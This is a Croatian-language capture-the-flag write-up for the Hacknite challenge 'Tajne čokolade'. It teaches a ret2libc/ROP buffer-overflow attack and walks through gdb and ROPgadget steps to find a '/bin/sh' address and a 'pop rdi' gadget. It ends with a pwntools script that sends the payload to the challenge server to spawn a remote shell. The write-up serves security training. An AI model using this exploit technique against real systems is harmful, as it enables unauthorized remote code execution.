Ret2Libc
Ret2Libc je naziv za binarnu eksploataciju kojom napadač preplavljuje povratnu adresu na izvršni kod unutar neke od funkcija iz libc-*.so (najčešće funkcija system()).
Tajne čokolade
Opis zadatka:
https://platforma.hacknite.hr/challenges#Tajne%20%C4%8Dokolade-96
Ante neće uspjeti ostvariti dominaciju tržišta sladoleda bez savršenog recepta za čokoladu, što u konačnici znači da neće imati dovoljno novaca za najbolje novo računalo kojim bi mogao igrati RTX Minecraft na 4k rezoluciji i 144Hz.
Ante je načuo da isti program koji je čuvao recept za sladoled od vanilije zapravo negdje čuva i recept za savršeni sladoled od čokolade. Preciznije, na istom računalu/poslužitelju se nalazi i taj dodatni recept kojega Ante traži, sakriven negdje na datotečnom sustavu u datoteci naziva flag2.
Možeš li se spojiti na program, ostvariti pristup poslužitelju - tako da možeš izvršavati naredbe u ljusci (engl. shell) operacijskog sustava, tzv. remote code execution - te pronaći i taj recept čime bi osigurao da Ante u potpunosti dominira tržištem sladoleda?
Podaci za spajanje i podaci o programu (izvorni kod i izvršna datoteka) su isti kao i u zadatku Tajne vanilije. Program je na poslužitelju pokrenut unutar Alpine Linux 3.16 containera (to ne bi trebalo bitno utjecati na rješavanje zadatka).
Rješenje:
Potrebno je napraviti sistemski poziv za pretraživanje datoteke “flag2” na udaljenom računalu. Ovdje će biti prikazano rješenje koje iskorištava činjenicu da datoteka koristi sistemski poziv system():
system("date +%F"); //Zbog ovog poziva je funkcija system uključena u datoteku
Preko nje će se pozvati remote shell koji će omogućiti pozivanje proizvoljnih naredbi tzv. remote code execution.
System(): Funkcija koja prima string kao argument, interpretira ga i izvrši. Kako bi se pozvao shell funkcijom system, potrebno mu je proslijediti pointer na string “/bin/sh”.
Unos stringa “/bin/sh” omogućen je kroz varijablu username ili password, ali se i nalazi unutar datoteke i bez njegovog unosa. Rješenje će biti izvedeno uz pomoć postojećeg stringa. Razlika će dakle biti u adresi koja sadrži “/bin/sh”. Ako rješenje koristi username ili password varijablu, unutar payloada je potrebno izmijeniti adresu koja se prosljeđuje pozivu system na odgovarajući offset odgovarajuće varijable.
Kako bi se pronašla adresa “/bin/sh” stringa, najprije je potrebno otvoriti main unutar gdb-a:
gdb main
Pokrenite program jednom s (unutar gdb-a):
r
kako bi se adresna memorija mapirala. Zatim je potrebno pronaći početnu i završnu adresu programa (unutar gdb-a):
info proc map
Ispis prikazuje da je početak memorije na adresi 0x400000, a kraj (onaj prije heap-a) na adresi 0x408000. Pretraga za string “/bin/sh” izvodi se naredbom (unutar gdb-a):
find start_addr, end_addr, string
Dakle:
find 0x400000, 0x408000, "/bin/sh"
Dobivene su dvije adrese: 0x4050d9 i 0x4060d9. Za provjeru da se radi o dobrom stringu može iskoristiti naredba (unutar gdb-a):
x/s 0x4050d9 //ili 0x4060d9
U rješenju će se koristiti adresa 0x4050d9.
Zbog x64 calling konvencije pointer na adresu na kojoj se nalazi string “/bin/sh” bit će u registru rdi. To znači da kako bi se sistemski poziv system ispravno pozvao, prije samog poziva potrebno je postaviti željenu adresu u registar rdi. Kako bi se to postiglo koristi se tzv. “ROP”. Rop (return-oriented programming) je tehnika kojom se registri postavljaju u željena stanja. Jedna od tehnika rop-a jest “write, what, where” kojim se pozivaju krajevi funkcija koji sadrže instrukcije pop s željenim registrima (pop stavlja trenutnu vrijednost na stogu u registar, npr. pop rdi) i time omogućuje arbitrarni unos. U ovom slučaju, potrebno je postaviti vrijednost u registar rdi, što znači da je potrebna funkcija koja završava s pop rdi.
Kako bi se pronašla takva funkcija koriste se rop alati. U ovom primjeru korišteni alat je ROPGadget no postoje i brojni drugi (npr. Ropper, PWN tools…).
Nareba za pronalazak “write,what,where” rop-a jest (uz pomoć ROPgadget):
ROPGadget --silent --ropchain --binary main
Iz ispisa je vidljivo da je upravo:
pop rdi; ret;
na adresi 0x401797 (što je ujedno i adresa unutar funkcije system). Za provjeru (unutar gdb-a):
x/2i 0x401797
Sada kada je poznata adresa stringa “/bin/sh” i adresa rop-a, moguće je sastaviti payload. Ideja je sljedeća:
1. Prepisati stog s padding-om ispravne duljine (120) 2. Prepisati povratnu adresu s adresom rop-a //0x401797 3. Prepisati sljedećih 8 bajtova s adresom stringa "/bin/sh" //0x4050d9 --> pop rdi; 4. Prepisati povratnu adresu s adresom system poziva //0x4015b6 (adresa system poziva se može saznati s npr. disas system) --> ret;
Nakon uspješnog unosa sastavljenog payloada na udaljenom računalu bit će otvoren shell.
Napomena 1.: x64 calling konvencija zahtjeva da su povratne adrese poredane sa 16-bitnim modulom (stack alignment x64 calling convention)
Napomena 2.: Dobra je praksa nadodati adresu na poziv exit() nakon završetka rada shell-a kako bi program uspješno prestao s radom.
Primjer rješenja (PWN tools python3):
payload.py
p = remote("chal.platforma.hacknite.hr",11002) payload = b"\n" payload += b"A"*120 #padding payload += p64(0x401797) payload += p64(0x4050d9) payload += p64(0x4015b6) p.writeline(payload) p.interactive()